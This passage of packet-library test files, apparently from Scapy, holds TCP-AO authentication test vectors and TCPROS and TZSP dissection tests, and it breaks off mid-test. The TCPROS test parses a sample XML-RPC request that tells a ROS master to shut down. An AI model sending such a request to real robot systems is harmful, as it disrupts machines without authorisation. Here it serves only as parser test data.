06 20 dc 0a 0b 0c 0d ac 1b 1c 1d c4 fa 00 b3 78 7a 1d df 00 00 00 00 e0 02 ff ff 5a 0f 00 00 02 04 05 b4 01 03 03 08 04 02 08 0a 00 01 7e d0 00 00 00 00 1d 10 3d 54 e4 77 e9 9c 80 40 76 54 98 e5 50 91 """, "f5 b8 b3 d5 f3 4f db b6 eb 8d 4a b9 66 0e 60 e3", "e4 77 e9 9c 80 40 76 54 98 e5 50 91", 0x787A1DDF, 0, include_options=True, alg_name="AES-128-CMAC-96", ) = TCP-AO Test Vector 6.1.1 client_isn_61x = 0x176A833F server_isn_61x = 0x3F51994B check( """ 6e 08 91 dc 00 38 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 f7 e4 00 b3 17 6a 83 3f 00 00 00 00 e0 02 ff ff 47 21 00 00 02 04 05 a0 01 03 03 08 04 02 08 0a 00 41 d0 87 00 00 00 00 1d 10 3d 54 90 33 ec 3d 73 34 b6 4c 5e dd 03 9f """, "62 5e c0 9d 57 58 36 ed c9 b6 42 84 18 bb f0 69 89 a3 61 bb", "90 33 ec 3d 73 34 b6 4c 5e dd 03 9f", client_isn_61x, 0, include_options=True, ) = TCP-AO Test Vector 6.1.2 check( """ 6e 01 00 9e 00 38 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b3 f7 e4 3f 51 99 4b 17 6a 83 40 e0 12 ff ff bf ec 00 00 02 04 05 a0 01 03 03 08 04 02 08 0a bd 33 12 9b 00 41 d0 87 1d 10 54 3d f1 cb a3 46 c3 52 61 63 f7 1f 1f 55 """, "e4 a3 7a da 2a 0a fc a8 71 14 34 91 3f e1 38 c7 71 eb cb 4a", "f1 cb a3 46 c3 52 61 63 f7 1f 1f 55", server_isn_61x, client_isn_61x, include_options=True, ) = TCP-AO Test Vector 6.2.2 client_isn_62x = 0x020C1E69 server_isn_62x = 0xEBA3734D check( """ 6e 0a 7e 1f 00 38 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b3 c6 cd eb a3 73 4d 02 0c 1e 6a e0 12 ff ff 77 4d 00 00 02 04 05 a0 01 03 03 08 04 02 08 0a 5e c9 9b 70 00 9d b9 5b 1d 10 54 3d 3c 54 6b ad 97 43 f1 2d f8 b8 01 0d """, "40 51 08 94 7f 99 65 75 e7 bd bc 26 d4 02 16 a2 c7 fa 91 bd", "3c 54 6b ad 97 43 f1 2d f8 b8 01 0d", server_isn_62x, client_isn_62x, include_options=False, ) = TCP-AO Test Vector 6.2.4 check( """ 6e 0a 7e 1f 00 73 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b3 c6 cd eb a3 73 4e 02 0c 1e ad c0 18 01 00 71 6a 00 00 01 01 08 0a 5e c9 9b 7a 00 9d b9 65 1d 10 54 3d 55 9a 81 94 45 b4 fd e9 8d 9e 13 17 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 fd e8 00 b4 01 01 01 7a 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 fd e8 02 08 40 06 00 64 00 01 01 00 """, "40 51 08 94 7f 99 65 75 e7 bd bc 26 d4 02 16 a2 c7 fa 91 bd", "55 9a 81 94 45 b4 fd e9 8d 9e 13 17", server_isn_62x, client_isn_62x, include_options=False, ) = TCP-AO Test Vector 7.1.2 server_isn_71x = 0xA6744ECB client_isn_71x = 0x193CCCEC check( """ 6e 06 15 20 00 38 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b3 f8 5a a6 74 4e cb 19 3c cc ed e0 12 ff ff ea bb 00 00 02 04 05 a0 01 03 03 08 04 02 08 0a 71 da ab c8 13 e4 ab 99 1d 10 54 3d dc 28 43 a8 4e 78 a6 bc fd c5 ed 80 """, "cf 1b 1e 22 5e 06 a6 36 16 76 4a 06 7b 46 f4 b1", "dc 28 43 a8 4e 78 a6 bc fd c5 ed 80", server_isn_71x, client_isn_71x, alg_name="AES-128-CMAC-96", include_options=True, ) = TCP-AO Test Vector 7.1.4 check( """ 6e 06 15 20 00 73 06 40 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b3 f8 5a a6 74 4e cc 19 3c cd 30 c0 18 01 00 52 f4 00 00 01 01 08 0a 71 da ab d3 13 e4 ab a3 1d 10 54 3d c1 06 9b 7d fd 3d 69 3a 6d f3 f2 89 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 43 01 04 fd e8 00 b4 01 01 01 7a 26 02 06 01 04 00 01 00 01 02 02 80 00 02 02 02 00 02 02 42 00 02 06 41 04 00 00 fd e8 02 08 40 06 00 64 00 01 01 00 """, "cf 1b 1e 22 5e 06 a6 36 16 76 4a 06 7b 46 f4 b1", "c1 06 9b 7d fd 3d 69 3a 6d f3 f2 89", server_isn_71x, client_isn_71x, alg_name="AES-128-CMAC-96", include_options=True, ) + TCP-AO Signature API = TCP-AO sign SYN packet build from scratch master_key = b"hello" alg = TCPAOAlg_HMAC_SHA1() keyid = 12 rnextkeyid = 34 p = IP() / TCP() p[TCP].flags == "S" sisn = p[TCP].seq disn = 0 # sign traffic_key = calc_tcpao_traffic_key(p, alg, master_key, sisn, disn) sign_tcpao(p, alg, traffic_key, keyid, rnextkeyid) mac = calc_tcpao_mac(p, alg, traffic_key) # parse p2 = IP(raw(p)) ao = get_tcpao(p2[TCP]) ao is not None ao.keyid == keyid ao.rnextkeyid == rnextkeyid ao.mac == mac # calculate signature again on parsed packet traffic_key2 = calc_tcpao_traffic_key(p2, alg, master_key, p2[TCP].seq, 0) traffic_key == traffic_key2 mac2 = calc_tcpao_mac(p2, alg, traffic_key2) mac == mac2 ================================================ FILE: test/contrib/tcpros.uts ================================================ % TCPROS transport layer for ROS Melodic Morenia 1.14.5 dissection % % Copyright (C) Víctor Mayoral-Vilches % % This program is free software; you can redistribute it and/or modify it under % the terms of the GNU General Public License as published by the Free Software % Foundation; either version 2 of the License, or (at your option) any later % version. % % This program is distributed in the hope that it will be useful, but WITHOUT ANY % WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A % PARTICULAR PURPOSE. See the GNU General Public License for more details. % % You should have received a copy of the GNU General Public License along with % this program; if not, write to the Free Software Foundation, Inc., 51 Franklin % Street, Fifth Floor, Boston, MA 02110-1301, USA. % TCPROS layer test campaign + Syntax check = Import the RTPS layer from scapy.contrib.tcpros import * bind_layers(TCP, TCPROS, sport=11311) bind_layers(HTTPRequest, XMLRPC) bind_layers(HTTPResponse, XMLRPC) pkt = b"POST /RPC2 HTTP/1.1\r\nAccept-Encoding: gzip\r\nContent-Length: " \ b"227\r\nContent-Type: text/xml\r\nHost: 12.0.0.2:11311\r\nUser-Agent:" \ b"xmlrpclib.py/1.0.1 (by www.pythonware.com)\r\n\r\n\n\nshutdown\n" \ b"\n\n/rosparam-92418\n" \ b"\n\nBOOM" \ b"\n\n\n\n" p = TCPROS(pkt) + Test TCPROS = Test basic package composition assert(HTTP in p) assert(HTTPRequest in p) assert(XMLRPC in p) assert(XMLRPCCall in p) = Test HTTPRequest within TCPROS assert(p[HTTPRequest].Content_Length == b'227') assert(p[HTTPRequest].Content_Type == b'text/xml') assert(p[HTTPRequest].Host == b'12.0.0.2:11311') assert(p[HTTPRequest].User_Agent == b'xmlrpclib.py/1.0.1 (by www.pythonware.com)') assert(p[HTTPRequest].Method == b'POST') assert(p[HTTPRequest].Path == b'/RPC2') assert(p[HTTPRequest].Http_Version == b'HTTP/1.1') = Test XMLRPCCall within TCPROS assert(p[XMLRPCCall].version == b"\n") assert(p[XMLRPCCall].methodcall_opentag == b'\n') assert(p[XMLRPCCall].methodname == b'shutdown') assert(p[XMLRPCCall].params == b'\n/rosparam-92418\n\n\nBOOM\n\n') ================================================ FILE: test/contrib/tzsp.uts ================================================ % TZSP test campaign # # execute test: # > test/run_tests -P "load_contrib('tzsp')" -t test/contrib/tzsp.uts # + Basic layer handling = build basic TZSP frames == basic TZSP header - keepalive bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0) frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_KEEPALIVE assert not tzsp_lyr.payload == basic TZSP header - keepalive + ignored end tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP(type=TZSP.TYPE_KEEPALIVE, encapsulated_protocol=0)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_KEEPALIVE assert tzsp_lyr.guess_payload_class(tzsp_lyr.payload) is scapy.packet.Raw == basic TZSP header with RX Packet and EndTag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_end = tzsp_lyr.payload assert tzsp_tag_end.type == 1 encapsulated_payload = tzsp_lyr.get_encapsulated_payload() encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) assert encapsulated_ether_lyr.src == '00:03:03:03:03:03' == basic TZSP header with RX Packet and Padding bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagPadding() / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_padding = tzsp_lyr.payload assert tzsp_tag_padding.type == 0 tzsp_tag_end = tzsp_tag_padding.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and RAWRSSI (byte, short) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRawRSSIByte(raw_rssi=42) / \ TZSPTagRawRSSIShort(raw_rssi=12345) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_raw_rssi_byte = tzsp_lyr.payload assert tzsp_tag_raw_rssi_byte.type == 10 assert tzsp_tag_raw_rssi_byte.raw_rssi == 42 tzsp_tag_raw_rssi_short = tzsp_tag_raw_rssi_byte.payload assert tzsp_tag_raw_rssi_short.type == 10 assert tzsp_tag_raw_rssi_short.raw_rssi == 12345 tzsp_tag_end = tzsp_tag_raw_rssi_short.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and SNR (byte, short) bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagSNRByte(snr=23) / \ TZSPTagSNRShort(snr=54321) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_snr_byte = tzsp_lyr.payload assert tzsp_tag_snr_byte.type == 11 assert tzsp_tag_snr_byte.len == 1 assert tzsp_tag_snr_byte.snr == 23 tzsp_tag_snr_short = tzsp_tag_snr_byte.payload assert tzsp_tag_snr_short.type == 11 assert tzsp_tag_snr_short.len == 2 assert tzsp_tag_snr_short.snr == 54321 tzsp_tag_end = tzsp_tag_snr_short.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and DATA Rate bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagDataRate(data_rate=TZSPTagDataRate.DATA_RATE_33) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_data_rate = tzsp_lyr.payload assert tzsp_tag_data_rate.type == 12 assert tzsp_tag_data_rate.len == 1 assert tzsp_tag_data_rate.data_rate == TZSPTagDataRate.DATA_RATE_33 tzsp_tag_end = tzsp_tag_data_rate.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and Timestamp bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagTimestamp(timestamp=0x11223344) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_timestamp = tzsp_lyr.payload assert tzsp_tag_timestamp.type == 13 assert tzsp_tag_timestamp.len == 4 assert tzsp_tag_timestamp.timestamp == 0x11223344 tzsp_tag_end = tzsp_tag_timestamp.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and ContentionFree bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagContentionFree(contention_free=TZSPTagContentionFree.NO) / \ TZSPTagContentionFree(contention_free=TZSPTagContentionFree.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_contention_free_no = tzsp_lyr.payload assert tzsp_tag_contention_free_no.type == 15 assert tzsp_tag_contention_free_no.len == 1 assert tzsp_tag_contention_free_no.contention_free == TZSPTagContentionFree.NO tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload assert tzsp_tag_contention_free_yes.type == 15 assert tzsp_tag_contention_free_yes.len == 1 assert tzsp_tag_contention_free_yes.contention_free == TZSPTagContentionFree.YES tzsp_tag_end = tzsp_tag_contention_free_yes.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and Decrypted bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO) / \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_decrypted_no = tzsp_lyr.payload assert tzsp_tag_decrypted_no.type == 16 assert tzsp_tag_decrypted_no.len == 1 assert tzsp_tag_decrypted_no.decrypted == TZSPTagDecrypted.NO tzsp_tag_decrypted_yes= tzsp_tag_decrypted_no.payload assert tzsp_tag_decrypted_yes.type == 16 assert tzsp_tag_decrypted_yes.len == 1 assert tzsp_tag_decrypted_yes.decrypted == TZSPTagDecrypted.YES tzsp_tag_end = tzsp_tag_decrypted_yes.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and FCS error bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagError(fcs_error=TZSPTagError.NO) / \ TZSPTagError(fcs_error=TZSPTagError.YES) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_error_no = tzsp_lyr.payload assert tzsp_tag_error_no.type == 17 assert tzsp_tag_error_no.len == 1 assert tzsp_tag_error_no.fcs_error == TZSPTagError.NO tzsp_tag_error_yes = tzsp_tag_error_no.payload assert tzsp_tag_error_yes.type == 17 assert tzsp_tag_error_yes.len == 1 assert tzsp_tag_error_yes.fcs_error == TZSPTagError.YES tzsp_tag_end = tzsp_tag_error_yes.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and RXChannel bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRXChannel(rx_channel=123) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_rx_channel = tzsp_lyr.payload assert tzsp_tag_rx_channel.type == 18 assert tzsp_tag_rx_channel.len == 1 assert tzsp_tag_rx_channel.rx_channel == 123 tzsp_tag_end = tzsp_tag_rx_channel.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and Packet count bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagPacketCount(packet_count=0x44332211) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_packet_count = tzsp_lyr.payload assert tzsp_tag_packet_count.type == 40 assert tzsp_tag_packet_count.len == 4 assert tzsp_tag_packet_count.packet_count == 0x44332211 tzsp_tag_end = tzsp_tag_packet_count.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and RXFrameLength bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRXFrameLength(rx_frame_length=0xbad0) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_frame_length = tzsp_lyr.payload assert tzsp_tag_frame_length.type == 41 assert tzsp_tag_frame_length.len == 2 assert tzsp_tag_frame_length.rx_frame_length == 0xbad0 tzsp_tag_end = tzsp_tag_frame_length.payload assert tzsp_tag_end.type == 1 == basic TZSP header with RX Packet and WLAN RADIO HDR SERIAL bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = b'1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr.type == TZSP.TYPE_RX_PACKET tzsp_tag_sensor_id = tzsp_lyr.payload assert tzsp_tag_sensor_id.type == 60 assert tzsp_tag_sensor_id.len == len(SENSOR_ID) assert tzsp_tag_sensor_id.sensor_id == SENSOR_ID tzsp_tag_end = tzsp_tag_sensor_id.payload assert tzsp_tag_end.type == 1 == handling of unknown tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = b'1E:AT:DE:AD:BE:EF' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagUnknown(len=6, data=b'\x06\x05\x04\x03\x02\x01') / \ TZSPTagWlanRadioHdrSerial(sensor_id=SENSOR_ID) / \ TZSPTagEnd() / \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04') / \ Raw('foobar') frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert tzsp_lyr tzsp_tag_unknown = tzsp_lyr.payload assert type(tzsp_tag_unknown) is TZSPTagUnknown = all layers stacked bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagRawRSSIByte(raw_rssi=12)/ \ TZSPTagRawRSSIShort(raw_rssi=1234)/ \ TZSPTagSNRByte(snr=12)/ \ TZSPTagSNRShort(snr=1234)/ \ TZSPTagDataRate(data_rate = TZSPTagDataRate.DATA_RATE_54)/ \ TZSPTagTimestamp(timestamp=12345)/ \ TZSPTagContentionFree(contention_free = TZSPTagContentionFree.NO)/ \ TZSPTagContentionFree(contention_free = TZSPTagContentionFree.YES)/ \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.NO)/ \ TZSPTagDecrypted(decrypted=TZSPTagDecrypted.YES)/ \ TZSPTagError(fcs_error = TZSPTagError.YES)/ \ TZSPTagError(fcs_error = TZSPTagError.NO)/ \ TZSPTagRXChannel(rx_channel = 42)/ \ TZSPTagPacketCount(packet_count = 987654)/ \ TZSPTagRXFrameLength(rx_frame_length = 0x0bad)/ \ TZSPTagWlanRadioHdrSerial(sensor_id = 'foobar')/ \ TZSPTagPadding()/ \ TZSPTagEnd()/ \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ ARP() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) tzsp_raw_rssi_byte_lyr = tzsp_lyr.payload assert tzsp_raw_rssi_byte_lyr.type == 10 tzsp_tag_raw_rssi_short = tzsp_raw_rssi_byte_lyr.payload assert tzsp_tag_raw_rssi_short.type == 10 tzsp_tag_snr_byte = tzsp_tag_raw_rssi_short.payload assert tzsp_tag_snr_byte.type == 11 tzsp_tag_snr_short = tzsp_tag_snr_byte.payload assert tzsp_tag_snr_short.type == 11 tzsp_tag_data_rate = tzsp_tag_snr_short.payload assert tzsp_tag_data_rate.type == 12 tzsp_tag_timestamp = tzsp_tag_data_rate.payload assert tzsp_tag_timestamp.type == 13 tzsp_tag_contention_free_no = tzsp_tag_timestamp.payload assert tzsp_tag_contention_free_no.type == 15 tzsp_tag_contention_free_yes = tzsp_tag_contention_free_no.payload assert tzsp_tag_contention_free_yes.type == 15 tzsp_tag_decrypted_no = tzsp_tag_contention_free_yes.payload assert tzsp_tag_decrypted_no.type == 16 tzsp_tag_decrypted_yes = tzsp_tag_decrypted_no.payload assert tzsp_tag_decrypted_yes.type == 16 tzsp_tag_error_yes = tzsp_tag_decrypted_yes.payload assert tzsp_tag_error_yes.type == 17 tzsp_tag_error_no = tzsp_tag_error_yes.payload assert tzsp_tag_error_no.type == 17 tzsp_tag_rx_channel = tzsp_tag_error_no.payload assert tzsp_tag_rx_channel.type == 18 tzsp_tag_packet_count = tzsp_tag_rx_channel.payload assert tzsp_tag_packet_count.type == 40 tzsp_tag_frame_length = tzsp_tag_packet_count.payload assert tzsp_tag_frame_length.type == 41 tzsp_tag_sensor_id = tzsp_tag_frame_length.payload assert tzsp_tag_sensor_id.type == 60 tzsp_tag_padding = tzsp_tag_sensor_id.payload assert tzsp_tag_padding.type == 0 tzsp_tag_end = tzsp_tag_padding.payload assert tzsp_tag_end.type == 1 encapsulated_payload = tzsp_tag_end.payload encapsulated_ether_lyr = encapsulated_payload.getlayer(Ether) assert encapsulated_ether_lyr.src == '00:03:03:03:03:03' + corner cases = state tags value range == TZSPTagContentionFree bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagContentionFree(contention_free = 0xff)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_contention_free = frm.getlayer(TZSPTagContentionFree) assert tzsp_tag_contention_free tzsp_tag_contention_free_attr = tzsp_tag_contention_free.get_field('contention_free') assert tzsp_tag_contention_free_attr symb_str = tzsp_tag_contention_free_attr.i2repr(tzsp_tag_contention_free, tzsp_tag_contention_free.contention_free) assert symb_str == 'yes' == TZSPTagError bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagError(fcs_error=TZSPTagError.NO)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_error = frm.getlayer(TZSPTagError) assert tzsp_tag_error tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') assert tzsp_tag_error_attr symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) assert symb_str == 'no' frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02')/ \ IP(src='1.1.1.1', dst='2.2.2.2')/ \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT)/ \ TZSP()/ \ TZSPTagError(fcs_error=TZSPTagError.YES + 1)/ \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_tag_error = frm.getlayer(TZSPTagError) assert tzsp_tag_error tzsp_tag_error_attr = tzsp_tag_error.get_field('fcs_error') assert tzsp_tag_error_attr symb_str = tzsp_tag_error_attr.i2repr(tzsp_tag_error, tzsp_tag_error.fcs_error) assert symb_str == 'reserved' == missing TZSP header before end tag frm = TZSPTagEnd()/ \ Ether(src='00:03:03:03:03:03', dst='00:04:04:04:04:04')/ \ ARP() frm = frm.build() try: frm = TZSPTagEnd(frm) assert False except TZSPStructureException: pass == invalid length field for given tag bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) frm = Ether(src='00:01:01:01:01:01', dst='00:02:02:02:02:02') / \ IP(src='1.1.1.1', dst='2.2.2.2') / \ UDP(sport=12345, dport=TZSP_PORT_DEFAULT) / \ TZSP() / \ TZSPTagRawRSSIByte(len=3) / \ TZSPTagEnd() frm = frm.build() frm = Ether(frm) tzsp_lyr = frm.getlayer(TZSP) assert type(tzsp_lyr.payload) is Raw == handling of unknown tag - payload to short bind_layers(UDP, TZSP, dport=TZSP_PORT_DEFAULT) SENSOR_ID = '1E:AT:DE:AD:BE:EF' 